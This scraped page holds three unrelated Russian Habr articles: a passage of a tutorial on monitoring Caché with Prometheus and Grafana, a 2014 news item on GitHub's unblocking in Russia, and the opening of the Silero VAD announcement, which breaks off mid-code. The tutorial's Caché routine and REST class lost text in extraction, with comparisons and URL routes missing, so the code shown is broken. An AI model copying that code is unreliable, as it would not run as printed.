>
> 4.8.16-200.fc24.x86\_64
>
> # **cat /etc/fedora-release**
>
> Fedora release 24 (Twenty Four)
Будут задействованы еще две виртуальные машины (192.168.42.131 и 192.168.42.132) в среде VMWare Workstation Pro 12.0, обе с Caché на борту. Их мы и будем мониторить. Версии:
> # **uname -r**
>
> 3.10.0-327.el7.x86\_64
>
> # **cat /etc/redhat-release**
>
> Red Hat Enterprise Linux Server release 7.2 (Maipo)
>
> …
>
> USER>**write $zversion**
>
> Cache for UNIX (Red Hat Enterprise Linux for x86-64) 2016.2 (Build 721U) Wed Aug 17 2016 20:19:48 EDT
На хост-машине поставим Docker и запустим его:
> # **dnf install -y docker**
>
> # **systemctl start docker**
>
> # **systemctl status docker**
>
> ● docker.service — Docker Application Container Engine
>
> Loaded: loaded (/usr/lib/systemd/system/docker.service; disabled; vendor preset: disabled)
>
> Active: **active (running)** since Wed 2017-06-21 15:08:28 EEST; 3 days ago
>
> ...
### Запускаем Prometheus в Docker-контейнере
Загрузим последний образ Prometheus:
> # **docker pull docker.io/prom/prometheus**
Если мы посмотрим на [Docker-файл](https://hub.docker.com/r/prom/prometheus/~/dockerfile/), то увидим, что образ читает конфиг из своего файла /etc/prometheus/prometheus.yml, а собранные метрики сохраняет в каталог /prometheus:
> …
>
> CMD [ "-config.file=/etc/prometheus/prometheus.yml", \
>
> "-storage.local.path=/prometheus", \
>
> ...
При запуске Prometheus в Docker-контейнере укажем конфигурационный файл и базу данных для метрик брать с хост-машины. Это позволит нам «пережить» рестарт контейнера. Создадим на хост-машине каталоги для Prometheus:
> # **mkdir -p /opt/prometheus/data /opt/prometheus/etc**
Создадим конфигурационный файл Prometheus:
> # **cat /opt/prometheus/etc/prometheus.yml**
>
> global:
>
> scrape\_interval: 10s
>
>
>
> scrape\_configs:
>
> - job\_name: 'isc\_cache'
>
> metrics\_path: '/mgstat/5' # *Tail 5 (sec) it's a diff time for ^mgstat. Should be less than scrape interval.*
>
> static\_configs:
>
> - targets: ['192.168.42.131:57772','192.168.42.132:57772']
>
> basic\_auth:
>
> username: 'PromUser'
>
> password: 'Secret'
Теперь можно запустить контейнер с Prometheus:
> # **docker run -d --name prometheus \
>
> --hostname prometheus -p 9090:9090 \
>
> -v /opt/prometheus/etc/prometheus.yml:/etc/prometheus/prometheus.yml \
>
> -v /opt/prometheus/data/:/prometheus \
>
> docker.io/prom/prometheus**
Проверим, что он запустился нормально:
> # **docker ps --format "{{.ID}}: {{.Command}} {{.Status}} {{.Names}}"**
>
> d3a1db5dec1a: "/bin/prometheus -con" Up 5 minutes prometheus
### Запускаем Grafana в Docker-контейнере
Для начала качаем себе последний образ:
> # **docker pull docker.io/grafana/grafana**
Затем запускаем его, указав, что базу данных Grafana (по умолчанию, это SQLite) будем хранить на хост-машине. Также делаем линк на контейнер с Prometheus, чтобы можно было из контейнера с Grafana ссылаться на контейнер с Prometheus:
> # **mkdir -p /opt/grafana/db**
>
> # **docker run -d --name grafana \
>
> --hostname grafana -p 3000:3000 \
>
> --link prometheus \
>
> -v /opt/grafana/db:/var/lib/grafana \
>
> docker.io/grafana/grafana**
>
> # **docker ps --format "{{.ID}}: {{.Command}} {{.Status}} {{.Names}}"**
>
> fe6941ce3d15: "/run.sh" Up 3 seconds grafana
>
> d3a1db5dec1a: "/bin/prometheus -con" Up 14 minutes prometheus
### Используем Docker-compose
Оба контейнера у нас запущены по одному. Более удобным способом запуска сразу нескольких контейнеров представляется использование [Docker-compose](https://docs.docker.com/compose/). Поставим его, остановим текущие оба контейнера, сконфигурируем их запуск через Docker-compose и запустим заново.
**То же на языке cli:**# **dnf install -y docker-compose**
# **docker stop $(docker ps -a -q)**
# **docker rm $(docker ps -a -q)**
# **mkdir /opt/docker-compose**
# **cat /opt/docker-compose/docker-compose.yml**
version: '2'
services:
prometheus:
image: docker.io/prom/prometheus
container\_name: prometheus
hostname: prometheus
ports:
- 9090:9090
volumes:
- /opt/prometheus/etc/prometheus.yml:/etc/prometheus/prometheus.yml
- /opt/prometheus/data/:/prometheus
grafana:
image: docker.io/grafana/grafana
container\_name: grafana
hostname: grafana
ports:
- 3000:3000
volumes:
- /opt/grafana/db:/var/lib/grafana
# **docker-compose -f /opt/docker-compose/docker-compose.yml up -d**
# # Выключить и удалить оба контейнера можно командой:
# # docker-compose -f /opt/docker-compose/docker-compose.yml down
# **docker ps --format "{{.ID}}: {{.Command}} {{.Status}} {{.Names}}"**
620e3cb4a5c3: "/run.sh" Up 11 seconds grafana
e63416e6c247: "/bin/prometheus -con" Up 12 seconds prometheus
### Постинсталляционные процедуры
После запуска Grafana в первый раз нужно еще сделать две вещи: поменять пароль админа на веб-интерфейс (по умолчанию, логин/пароль — это admin/admin) и добавить Prometheus в качестве источника данных. Это можно сделать либо из веб-интерфейса, либо путем прямого редактирования базы данных Grafana SQLite (она по умолчанию лежит в файле /opt/grafana/db/grafana.db), либо путем [REST-запросов](http://docs.grafana.org/http_api/).
**Покажем третий вариант:**# **curl -XPUT "[admin](http://admin):admin@localhost:3000/api/user/password" \
-H "Content-Type:application/json" \
-d '{"oldPassword":"admin","newPassword":"TopSecret","confirmNew":"TopSecret"}'**
Если пароль был изменен успешно, придет ответ:
*{"message":"User password changed"}*
Ответ типа:
*curl: (56) Recv failure: Connection reset by peer*
означает, что сервер Grafana еще не до конца стартовал и нужно подождать еще немного, после чего повторить предыдущую команду. Подождать можно, например, так:
# **until curl -sf [admin](http://admin):admin@localhost:3000 > /dev/null; do sleep 1; echo "Grafana is not started yet";done; echo "Grafana is started"**
После успешной смены пароля добавим источник данных Prometheus:
# **curl -XPOST "[admin](http://admin):TopSecret@localhost:3000/api/datasources" \
-H "Content-Type:application/json" \
-d '{"name":"Prometheus","type":"prometheus","url":"http://prometheus:9090","access":"proxy"}'**
Если источник данных был добавлен успешно, придет ответ:
*{"id":1,"message":"Datasource added","name":"Prometheus"}*
### Создаем аналог ^mgstat
^mgstat пишет вывод в файл и в интерактивном режиме на терминал. Нам вывод в файл не нужен. Поэтому с помощью Студии создадим и скомпилируем в области USER программу ^mymgstat.int, с урезанным кодом ^mgstat.
**Программа ^mymgstat:**
```
mgstat(dly)
/*
Edited version of ^mgstat for Prometheus monitoring
Changes:
- Variables cnt, reqname and pagesz are deleted as well as all code connected to them;
- Output procedure was overwritten;
- Unused procedures were deleted.
*/
;
;
n dly
d init
d loop
q
init
s prefix="isc_cache_mgstat_"
s $zt="initerr" ; for class errors mainly??? the vers exist in 4.1
d GetVersionInfo(.Majver,.Minver,.OS)
i Majver<5 w "Sorry, this won't work on this version of Cache",! q // not supported on pre-5.0 systems.
s (odly,dly)=$g(dly,2) i dly>10 s dly=10
; set common memory offsets
s jrnbase=$ZU(40,2,94),maxval4=4294967295
s wdwchk=$ZU(40,2,146),wdphaseoff=$ZU(40,2,145)
s wdcycle=$ZU(79,1),stilen=$zu(40,0,1),szctrs=1
s (globufs,glostr)=$v($ZU(40,2,135),-2,stilen)/512 f i=1:1:5 { s tmp=$v($ZU(40,2,135)+(i*stilen),-2,stilen)*(2**(1+i))/1024,globufs=globufs+tmp,glostr=glostr_"^"_tmp } s globufs=globufs_"MB:"_glostr
if Majver>2008||((Majver=2008)&&(Minver>1)) { s roustr=$tr($system.Util.RoutineBuffers(),",","^"),roubufs=0 f i=1:1:$l(roustr,"^") { s roubufs=roubufs+$p(roustr,"^",i) } s roubufs=roubufs_"MB:"_roustr }
else {
i (Majver=5)&&(Minver<1) { s rbufsiz=32,rbstr=",routinebuffersize=assumed 32K" } else { s rbufsiz=$v($zu(40,2,164),-2,4)+240\1024,rbstr=",routinebuffersize="_rbufsiz_"K" }
s roubufs=$fn($V($zu(40,2,26),-2,stilen)*rbufsiz/1024,"",0)_"MB"_rbstr
}
s ncpus=$system.Util.NumberOfCPUs()
if Majver>2000 { // really > 5.2
s sznames="Global,ObjClass,Per-BDB",sztag="Gbl,Obj,BDB",szstr=$$GetSzctr(sznames) // seize statistics
if Majver>2008 {
if Majver>2009 {
s szctrs=$zu(69,74) ;0 for off, 1 for on - new in 2010.x - chg for API in 2011
}
s $zt="initcpuerr"
s ncpus=ncpus_":"_$$GetArchChipsCores() ;Arch^Chips^Cores
initcpuerr ;
k n
s $zt=""
}
} else {
s szstr="4,2,14",sztag="Gbl,Rou,Obj" // 5.2 and lower - glo,rou,obj
}
i szstr="" { s nszctrs=0 } else { s nszctrs=szctrs*$l(szstr,",") }
s numsz=nszctrs*3 // Sz, Nsz, Asz for each one.
; decide on offsets where they move between versions...
i (Majver=5)&&(Minver<1) {
;5.0 specific - no zu190!!! - oldstyle gather() and wd info
s getwdq="getwdinf50()",maxvalglo=maxval4,glocnt=11,gmethod=0,roubase=$zu(40,2,1)
s bdb0off=$ZU(40,2,128),bdbbase=$V($ZU(40,2,21),-2,"P"),bdbsiz=$ZU(40,29,0),wdqsizoff=$ZU(40,29,2),off=$V(bdb0off,-2,4),vwlocn=bdbbase+wdqsizoff
s ppgstats=0
} else {
s getwdq="getwdinfzu()",numbuff=$zu(190,2),ijulock=1,glocnt=$l($zu(190,6,1),","),gmethod=1
s ppgstats=glocnt'<20
i $zu(40,0,76)=4 { s maxvalglo=maxval4 } else { s maxvalglo=18446744073709551610 }
; wij only appears in >= 5.1... but handled by glocnt
; routine cache misses appears in >= 2007.1 but handled by glocnt
i glocnt>14 s glocnt=14
}
s ecpconncol=glocnt+numsz+2,alen=ecpconncol+5,maxeccon=$system.ECP.MaxClientConnections() i 'maxeccon s alen=ecpconncol-1
q
initerr
; handle init errs
q
loop
d gather(.oldval,gmethod)
h dly
d gather(.newval,gmethod)
d diffandfix()
d output
gather(array,usezu)
i usezu {
s zustats1=$zu(190,6,1) ; glostat
For i=1:1:glocnt S array(i)=$P(zustats1,",",i)
} else { ; old (5.0) glostat, gloref,glorefclient,logrd,phyrd,phywr,gloset,glosetclient,roulines
for i=1:1:glocnt s array(i)=$v((i-1)*4+roubase,-2,4) ;;;incomplete!!???10/22
}
d @getwdq,getwdp()
s i=glocnt,array($i(i))=$v(jrnbase,-2,4) ; jrnwrites
for jsz=1:1:nszctrs { s j=$p(szstr,",",jsz),szstat=$zu(162,3,j),array($i(i))=$p(szstat,","),array($i(i))=$p(szstat,",",2),array($i(i))=$p(szstat,",",3) }
i maxeccon s estats=$p($system.ECP.GetProperty("ClientStats"),",",1,21),array($i(i))=+$system.ECP.NumClientConnections(),array($i(i))=$p(estats,",",2),array($i(i))=$p(estats,",",6),array($i(i))=$p(estats,",",7),array($i(i))=$p(estats,",",19),array($i(i))=$p(estats,",",20)
i ppgstats s array($i(i))=$p(zustats1,",",20),array($i(i))=$p(zustats1,",",21)
q
diffandfix() ; note - this does not work if someone zeroed the counters manually
f i=1:1:glocnt {
i newval(i)1000000000 s dispval(i)=newval(i)\dly
} else {
s dispval(i)=(newval(i)-oldval(i))\dly
}
s oldval(i)=newval(i)
}
s rdratio=$s(dispval(8)=0:0,1:$num(dispval(7)/dispval(8),2))
s grratio=$s(dispval(6)=0:0,1:$num(dispval(5)/dispval(6),2))
i maxeccon s dispval(ecpconncol)=newval(ecpconncol)
f i=glocnt+1:1:ecpconncol-1,ecpconncol+1:1:alen+$s(ppgstats:2,1:0) {
i newval(i)1000000000 s dispval(i)=newval(i)\dly
} else {
s dispval(i)=(newval(i)-oldval(i))\dly
}
s oldval(i)=newval(i)
}
if nszctrs>0 {
f i=glocnt+2:3:glocnt+numsz-1 {
i 'dispval(i) {
s (dispval(i+1),dispval(i+2))="0"
} else {
s dispval(i+1)=$num(dispval(i+1)/dispval(i)\*100,2)
s dispval(i+2)=$num(dispval(i+2)/dispval(i)\*100,2)
}
}
}
q
output
s nl=$c(10)
w prefix\_"global\_refs "\_dispval(5)\_nl
w prefix\_"remote\_global\_refs "\_dispval(6)\_nl
w prefix\_"global\_remote\_ratio "\_grratio\_nl
w prefix\_"physical\_reads "\_dispval(8)\_nl
w prefix\_"read\_ratio "\_rdratio\_nl
w prefix\_"global\_updates "\_dispval(10)\_nl
w prefix\_"remote\_global\_updates "\_dispval(11)\_nl
w prefix\_"routine\_refs "\_dispval(1)\_nl
w prefix\_"remote\_routine\_refs "\_dispval(2)\_nl
w prefix\_"routine\_loads\_and\_saves "\_dispval(3)\_nl
w prefix\_"remote\_routine\_loads\_and\_saves "\_dispval(4)\_nl
w prefix\_"physical\_writes "\_dispval(9)\_nl
w prefix\_"write\_daemon\_queue\_size "\_wdqsz\_nl
w prefix\_"write\_daemon\_temp\_queue "\_twdq\_nl
w prefix\_"write\_daemon\_phase "\_wdphase\_nl
i glocnt>12 w prefix\_"wij\_writes "\_dispval(13)\_nl
i glocnt>13 w prefix\_"routine\_cache\_misses "\_dispval(14)\_nl
w prefix\_"journal\_writes "\_dispval(glocnt+1)\_nl
s icnt=1
f i=1:1:numsz {
; global/rou/obj nseize/aseize are nodisp-100+
; and start at dispval(glocnt+2) and go up...
s rsc=$p(sztag,",",i)
w prefix\_rsc\_"seizes "\_dispval(i+glocnt+1)\_nl
s icnt=icnt+1
}
s ecpnames=$lb("act\_ecp","add\_blocks","purge\_buffers\_local","purge\_server\_remote","bytes\_sent","bytes\_received")
s icnt=0,ecnt=1
f i=glocnt+numsz+2:1:alen {
; ECP are nodisp 19-24 and start at glocnt+numsz+1 and go up...
w prefix\_$lg(ecpnames,ecnt)\_" "\_dispval(i)\_nl
s icnt=icnt+1
s ecnt=ecnt+1
}
i $d(ijulock) {
w prefix\_"write\_daemon\_pass "\_wdpass\_nl
w prefix\_"iju\_count "\_ijucnt\_nl
w prefix\_"iju\_lock "\_ijulock\_nl
}
s ppgnames=$lb("process\_private\_global\_refs","process\_private\_global\_updates")
i ppgstats {
; PPG are nodisp 28,29 and start at alen+1
f i=0,1 w prefix\_$lg(ppgnames,i+1)\_" "\_dispval(alen+i+1)\_nl
}
w nl
q
getwdinfzu()
s twdq=0 f b=1:1:numbuff { s twdq=twdq+$p($zu(190,2,b),",",10) }
s wdinf=$zu(190,13),wdpass=$p(wdinf,","),wdqsz=$p(wdinf,",",2),twdq=twdq-wdqsz i twdq<0 s twdq=0
s misc=$zu(190,4),ijulock=$p(misc,",",4),ijucnt=$p(misc,",",5)
q
getwdinf50()
s wdqsz=0,last=maxval4
f i=0:1:5 d q:off=maxval4
. s off=$V(bdb0off+(i\*4),-2,4)
. q:(off=last)!(off=maxval4)
. s wdqsz=wdqsz+$V(vwlocn+off,-3,4)
. s last=off
Q
getwdp()
s wdphase=0 q:'$V(wdwchk,-2,4)
q:'wdphaseoff
s wdphase=$V(wdphaseoff,-2,4)
Q
GetArchChipsCores() private { ;Returns ^<# Chips>^<# Cores>
if $D(^oddDEF("%SYSTEM.CPU")) {
s n=##class(%SYSTEM.CPU).%New()
s Arch=n.Arch
s nChips=n.nChips
s nCores=n.nCores
} else {
; These are all here in case we want more later
Set Arch=$zu(204,1)
Set Model=$zu(204,2)
Set Vendor=$zu(204,3)
Set nThreads=$zu(204,4)
Set nCores=$zu(204,5)
Set nChips=$zu(204,6)
Set nThreadsPerCore=$zu(204,7)
Set nCoresPerChip=$zu(204,8)
Set MTSupported=$zu(204,9)
Set MTEnabled=$zu(204,10)
Set MHz=$zu(204,11)
}
quit Arch\_"^"\_nChips\_"^"\_nCores
}
GetVersionInfo(majver,minver,os) PRIVATE {
if $D(^oddDEF("%SYSTEM.CPU")) {
s majver=$System.Version.GetMajor()
s minver=$System.Version.GetMinor()
s os=$System.Version.GetCompBuildOS()
} else {
s zv=$ZV
s majver=$p($p($p(zv,") ",2)," ",1),".",1)
s minver=$p($p($p(zv,") ",2)," ",1),".",2)
If zv["Windows" {
Set os="Windows"
} elseif zv["UNIX" {
Set os="UNIX"
} elseif zv["VMS" {
Set os="VMS"
} else {
Set os="N/A"
}
}
}
GetSzctr(Longnames) private {
s allsznames=$zu(162,0)\_",",zuctr=""
f i=1:1:$l(Longnames,",") {
s ctr=$p(Longnames,",",i)
continue:(ctr="")||(ctr="Unused")
s nctr=$l($e(allsznames,1,$find(allsznames,ctr)),",")-1
continue:nctr=0
i zuctr="" {
s zuctr=nctr
} else {
s zuctr=zuctr\_","\_nctr
}
}
quit zuctr
}
```
Чтобы можно было вызвать программу ^mymgstat через REST, делаем для нее в области USER класс-обертку.
**Его реализация**
```
Class my.Mgstat Extends %CSP.REST
{
XData UrlMap [ XMLNamespace = "http://www.intersystems.com/urlmap" ]
{
}
ClassMethod getMgstat(delay As %Integer = 2) As %Status
{
// By default, we use 2 second interval for averaging
do ^mymgstat(delay)
quit $$$OK
}
}
```
### Создаем ресурс, пользователя и веб-приложение
Теперь, когда у нас есть класс, отдающий метрики, мы можем создать RESTfull веб-приложение. Как и в первой статье, присвоим этому веб-приложению ресурс и создадим пользователя, который сможет этим ресурсом воспользоваться и от имени которого Prometheus будет собирать метрики. Дадим пользователю еще права на определенные базы. По сравнению с первой статьей, добавлено право на запись в базу CACHESYS (чтобы избежать ошибки loop+1^mymgstat \*gmethod") и добавлена возможность использовать ресурс %Admin\_Manage (чтобы избежать ошибки gather+10^mymgstat \*GetProperty,%SYSTEM.ECP"). Проделаем указанные шаги на двух виртуальных серверах, 192.168.42.131 и 192.168.42.132. Предварительно, естественно, зальем наш код, программу ^mymgstat и класс my.Mgstat, в область USER на том, и на другом сервере (код есть на [github](https://github.com/myardyas/prometheus/tree/master/mgstat/cos)).
**То есть на каждом виртуальном сервере проделаем такие шаги:**# **cd /tmp**
# **wget <https://github.com/myardyas/prometheus/raw/master/mgstat/cos/mymgstat.xml>**
# **wget <https://github.com/myardyas/prometheus/raw/master/mgstat/cos/Mgstat.xml>**
#
# # *Если на серверах нет доступа к Интернету, скопируйте программу и класс локально, а затем воспользуйтесь [scp](https://ru.wikipedia.org/wiki/SCP).*
#
# **csession -U user**
USER>**do $system.OBJ.Load("/tmp/mymgstat.xml\*/tmp/Mgstat.xml","ck")**
USER>**zn "%sys"**
%SYS>**write ##class(Security.Resources).Create("PromResource","Resource for Metrics web page","")**
1
%SYS>**write ##class(Security.Roles).Create("PromRole","Role for PromResource","PromResource:U,%Admin\_Manage:U,%DB\_USER:RW,%DB\_CACHESYS:RW")**
1
%SYS>**write ##class(Security.Users).Create("PromUser","PromRole","Secret")**
1
%SYS>**set properties("NameSpace") = "USER"**
%SYS>**set properties("Description") = "RESTfull web-interface for ^mymgstat"**
%SYS>**set properties("AutheEnabled") = 32** ; See [description](http://docs.intersystems.com/latest/csp/documatic/%25CSP.Documatic.cls?PAGE=CLASS&LIBRARY=%25SYS&CLASSNAME=Security.Applications#PROPERTY_AutheEnabled)
%SYS>**set properties("Resource") = "PromResource"**
%SYS>**set properties("DispatchClass") = "my.Mgstat"**
%SYS>**write ##class(Security.Applications).Create("/mgstat",.properties)**
1
### Проверяем доступность метрик с помощью curl
> # **curl --user PromUser:Secret -XGET <http://192.168.42.131:57772/mgstat/5>**
>
> isc\_cache\_mgstat\_global\_refs 347
>
> isc\_cache\_mgstat\_remote\_global\_refs 0
>
> isc\_cache\_mgstat\_global\_remote\_ratio 0
>
> …
>
> # **curl --user PromUser:Secret -XGET <http://192.168.42.132:57772/mgstat/5>**
>
> isc\_cache\_mgstat\_global\_refs 130
>
> isc\_cache\_mgstat\_remote\_global\_refs 0
>
> isc\_cache\_mgstat\_global\_remote\_ratio 0
>
> ...
### Проверяем доступность метрик из Prometheus
Prometheus у нас слушает порт 9090. Сначала проверяем состояние Targets:
Затем смотрим на любую из метрик:
### Отображаем одну метрику
Покажем теперь одну метрику, например, isc\_cache\_mgstat\_global\_refs, в виде графика. Нам нужно будет добавить панель и вставить в нее график. Идем в Grafana (<http://localhost:3000>, логин/пасс — admin/TopSecret) и добавляем панель:
Добавляем график:
Редактируем его, нажав «Panel title», затем «Edit»:
Указываем в качестве источника данных Prometheus и выбираем нашу метрику isc\_cache\_mgstat\_global\_refs. Разрешение выберем 1/1:
Даем имя графику:
Добавляем легенду:
Нажимаем сверху кнопку «Save» и даем имя дашбоарду:
Получаем что-то такое:
### Отображаем все метрики
Аналогично накинем остальные метрики. В их числе будут две текстовые метрики — [Singlestat](http://docs.grafana.org/features/panels/singlestat/#singlestat-panel). Получим такой дашбоард (показаны верхняя и нижняя части):
Сразу мешают два нюанса:
— скроллы в легенде (с увеличением числа серверов скроллить придется дольше);
— отсутствие данных в Singlestat-панелях (которые, естественно, предполагают единственное значение). У нас сервера два, вот и значения два.
### Добавляем использование шаблона
Попробуем победить данные замечания введением [шаблона](http://docs.grafana.org/reference/templating/#templating) инстансов. Для этого нам понадобится создать переменную, хранящую значение инстанса, и немного подредактировать запросы к Prometheus, согласно [имеющимся правилам](http://docs.grafana.org/features/datasources/prometheus/#templating). То есть, вместо запроса *"isc\_cache\_mgstat\_global\_refs"* нам следует написать *"isc\_cache\_mgstat\_global\_refs{instance="[[instance]]"}"*, предварительно создав переменную *instance*.
Создаем переменную:
В запросе к Prometheus указываем выбирать значения меток instance из каждой метрики. В нижней части наблюдаем, что значения наших двух инстансов определились. Нажимаем кнопку «Add»:
В верхней части дашбоарда появилась переменная с вариантами значений:
Теперь добавим использование этой переменной в запросы для каждой панели на дашбоарде, то есть, запросы типа *"isc\_cache\_mgstat\_global\_refs"* превратим в *"isc\_cache\_mgstat\_global\_refs{instance="[[instance]]"}"*. Получим такой дашбоард (возле легенд имена инстансов оставлены специально, для проверки):
Singlestat-панели уже работают:
Скачать шаблон данного дашбоарда можно на [github](https://github.com/myardyas/prometheus/raw/master/mgstat/grafana/mgstat_with_var_instance.json). Процедура его импорта в Grafana описана в [первой части](https://habrahabr.ru/company/intersystems/blog/318940/).
Напоследок сделаем сервер 192.168.42.132 ECP-клиентом для 192.168.42.131 и посоздаем глобалы для порождения ECP-трафика. Видим, что мониторинг ECP-клиента работает:
### Итоги
Мы можем заменить отображение результатов работы утилиты ^mgstat в Excel он-лайн отображением в виде довольно симпатичных графиков. Минусом является то, что для этого нужно использовать альтернативную версию ^mgstat. В принципе, код исходной утилиты может меняться, что нами не учитывается. Однако мы получаем удобство наблюдения за происходящим в Caché.
Спасибо за внимание!
*Продолжение следует ...*
### P.S.
Демо-стенд (для одного инстанса) доступен для просмотра [здесь](http://37.139.17.101:3000/dashboard/db/mgstat). Вход без логина/пароля. | https://habr.com/ru/post/331594/ | null | ru | null |
# GitHub разблокирован
### Администрация сервиса пошла на условия Роскомнадзора
[](http://https:https://habrastorage.org/files/ea4/4de/623/ea44de6232e740109cec25c1822558c9.png)
GitHub закрыл для пользователей из России доступ к файлам, на содержимое которых жаловался Роскомнадзор. В связи с этим доступ к сайту был полностью восстановлен.
> Ввиду того,что администрация GitHub предприняла меры по удалению запоещенной информации, доступ к ресурсу на территории РФ возобновлен
>
> — Максим Ксензов (@mksenzov) [5 декабря 2014](https://twitter.com/mksenzov/status/540690915904741376)
GitHub выкладывает все обращения Росконадзора в [специальный репозиторий](https://github.com/github/roskomnadzor). По ним можно восстановить картину произошедшего.
События развивались следующим образом: 23 марта этого года пользователь amdf [выгрузил](http://tjournal.ru/paper/rospotreb-boys) в свой репозиторий файл `suicide.txt`, содержимое которого представляет из себя шутливое перечисление способов самоубийства. Но уже на следующий день (24 марта) был выпущен указ 4138 об ограничении доступа к сайту.
На его основании 2 октября этого года Github [был впервые заблокирован](http://habrahabr.ru/post/239021/). Позже файл удалили, а GitHub исчез из реестра Роскомназдора.
21 октября этого года GitHub получил [новое уведомление](https://github.com/github/roskomnadzor/blob/master/2014-10-21-roskomnadzor.md) от российского регулятора. В нём есть ссылки на 7 файлов с запрещённым содержимым.
Эффект Стрейзанд работает: в письме перечислены все проблемные URL, поэтому с помощью прокси-сервера или Opera Turbo можно легко получить доступ к запрещённому контенту — достаточно лишь замаскировать свой реальный российский IP. Судя по названию репозиториев (к примеру, [github.com/russian-suicide/ololo](https://github.com/russian-suicide/ololo)), некоторые люди сознательно пошли на этот «троллинг».
Ровно через месяц (21 ноября) представители Роскомнадзора [начали сетовать](https://geektimes.ru/post/241804/), что GitHub никак не отреагировал на это предупреждение.
> На [@github](https://twitter.com/github) опять появился запрещенный контент. Пытаемся связаться с ресурсом и предлагаем [@habrahabr](https://twitter.com/habrahabr) посодействовать <http://t.co/EPdxygLyD2>
>
> — Роскомнадзор (@roscomnadzor) [21 ноября 2014](https://twitter.com/roscomnadzor/status/535773022716952576)
27 ноября GitHub [уведомили](https://github.com/github/roskomnadzor/blob/master/2014-11-27-roskomnadzor.md) о включении ресурса в список запрещённых сайтов.
Роскомнадзор отметил «помощь IT-отрасли» в привлечении внимания к этому вопросу, но 2 декабря данные 7 страниц GitHub [были переданы](https://geektimes.ru/post/242306/) операторам связи для блокировки.
Блокировать отдельные страницы физически невозможно даже с помощью фильтрации по содержимому сетевых пакетов (Deep Packet Inspection): сайт работает только по защищённому протоколу HTTPS, поэтому весь трафик, включая URL, зашифрован. Можно лишь перекрыть связь с IP-адресами. Из-за этого многие россияне полностью лишились доступа к сервису.
Помочь ситуации могла лишь уступка со стороны ресурса, что и произошло. [Официальная позиция](https://geektimes.ru/post/242494/) GitHub по поводу произошедшего следующая:
> Во многих странах есть законы, которые могут применяться к контенту на GitHub. Чтобы обеспечивать доступ к GitHub для более, чем семи миллионов наших пользователей по всему миру, иногда нужно блокировать определённый контент в некоторых регионах, если мы получаем запрос от властей.
>
>
>
> На этой неделе мы получили [этот запрос](https://github.com/github/roskomnadzor/blob/master/2014-11-27-roskomnadzor.md) от Роскомнадзора, Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций России.
>
>
>
> С тех пор мы были заблокированы в Российской Федерации за контент, запрещённый законом, и работаем над восстановлением доступа. Обращаем внимание на то, что согласно [правилам пользования GitHub](https://help.github.com/articles/github-terms-of-service/#a-account-terms):
>
>
>
>
> > Вы не можете использовать сервис для любой незаконной деятельности. Вам запрещено, используя сервис, нарушать законы страны, под юрисдикцию которой вы попадаете (включая, но не ограничиваясь авторскими правами или законами о торговых марках).
>
>
>
> Мы верим в прозрачность нашей деятельности и позволяем обществу знать, когда это возможно, какой контент блокируется GitHub и почему. Для этого мы опубликовали уведомление от Роскомнадзора и будем в дальнейшем размещать запросы от РФ о блокировке контента. | https://habr.com/ru/post/355742/ | null | ru | null |
# Мы опубликовали современный Voice Activity Detector и не только
Всегда при работе с речью встает несколько очень "простых" вопросов, для решения которых нет большого количества удобных, открытых и простых инструментов: **детекция наличия голоса (или музыки), детекция наличия цифр и классификация языков**.
Для решения задачи детекции голоса (Voice Activity Detector, VAD) существует довольно популярный инструмент от Google — [webRTC VAD](https://github.com/wiseman/py-webrtcvad). Он нетребовательный по ресурсам и компактный, но его основной минус состоит в неустойчивости к шуму, большом числе ложноположительных срабатываний и невозможности тонкой настройки. Понятно, что если переформулировать задачу не в детекцию голоса, а в детекцию тишины (тишина — это отсутствие и голоса и шума), то она решается весьма тривиальными способами (порогом по энергии, например), но с теми же минусами и ограничениями. Что самое неприятное — зачастую такие решения являются хрупкими и какие-то хардкодные пороги не переносятся на другие домены.
Изначально мы хотели сделать простой и быстрый внутренний инструмент для себя и наших партнеров для детекции произнесенных чисел без привлечения полноценного STT (фишка изначально была именно в портативности засчет использования современных фреймворков типа PyTorch и ONNX), но в итоге оказалось, что можно сделать не только детектор чисел, но и качественный, быстрый и портативный VAD и классификатор языков, который и опубликовали бесплатно для всех желающих [тут](https://github.com/snakers4/silero-vad) под лицензией MIT. За подробностями прошу под кат.
Основные фишки нашего решения
-----------------------------
**Что же умеет делать наш "VAD"?**
* Именно сам **VAD** — находит в аудио участки, где люди говорят;
* **Number detector** — находит в аудио участки, где люди произносят цифры;
* **Language classifier** — классифицирует языки;
* Это все сейчас работает на 4 языках (**Русский, Английский, Немецкий, Испанский**), но с высокой степенью вероятности **именно сам VAD будет работать и на других родственных им языках** (небольшой квест для Хабра — если вы говорите на каком-то экзотическом языке, запишите свой голос, прогоните VAD и поделитесь результатом!);
**Основные "фишки" на данный момент:**
* Поддержка 4 языков;
* Именно VAD сильно выигрывает у WebRTC по качеству;
* Натренирован на огромных речевых и шумовых корпусах;
* Ест мало ресурсов и памяти, работает на 1 потоке процессора;
* Его скорости достаточно для edge и мобильных применений;
* Построен на базе современных и портативных технологий (PyTorch, ONNX);
* В отличие от WebRTC скорее является детектором голоса, а не детектором тишины;
* Мы выложили чекпойнты как для PyTorch (JIT), так и для ONNX;
Возможные применения
--------------------
* Детекция конца фразы;
* Подготовка и очистка голосовых корпусов;
* Часть пайплайна для анонимизации речевых корпусов (по-хорошему еще надо уметь искать имена, но это совсем другая проблема, и она довольно специфична для решаемой задачи и требует наличия и тонкой настройки STT);
* Детекция наличия голоса для применения на мобильных и edge устройствах;
* Компактность и наличие ONNX позволяет запускать его с большим количеством доступных бекендов;
* VAD кушает данные с частотой дискретизации 16 kHz, но он научен не бояться и данных с 8 kHz;
Примеры
-------
Вообще мы постарались привести основные примеры использования в интерактивном [ноутбучке в colab](https://colab.research.google.com/github/snakers4/silero-vad/blob/master/silero-vad.ipynb) и в самом [репозитории](https://github.com/snakers4/silero-vad). Все их выписывать в статью смысла нет, давайте просто перечислим самые важные и приведем самый простой пример:
* Все примеры есть как для PyTorch так и для ONNX;
* Для самого важного алгоритма — VAD — мы привели примеры как для работы с целыми отдельными файлами, так и для однопоточного / многопоточного стриминга;
* Для остальных — приведены только примеры по работе с отдельными файлами. Но имея VAD уже несложно длинные файлы разделить на короткие;
* Примеры специально приводятся в виде простейшего тулкита, который легко будет адаптировать на свой язык с минимальными усилиями (обработка целых файлов тривиальна, стриминг в 1 поток несложный, несколько потоков немного сложноват из-за механизма окон);
Самый просто пример, где мы натравливаем VAD на файл:
```
import torch
torch.set_num_threads(1)
model, utils = torch.hub.load(repo_or_dir='snakers4/silero-vad',
model='silero_vad',
force_reload=True)
(get_speech_ts,
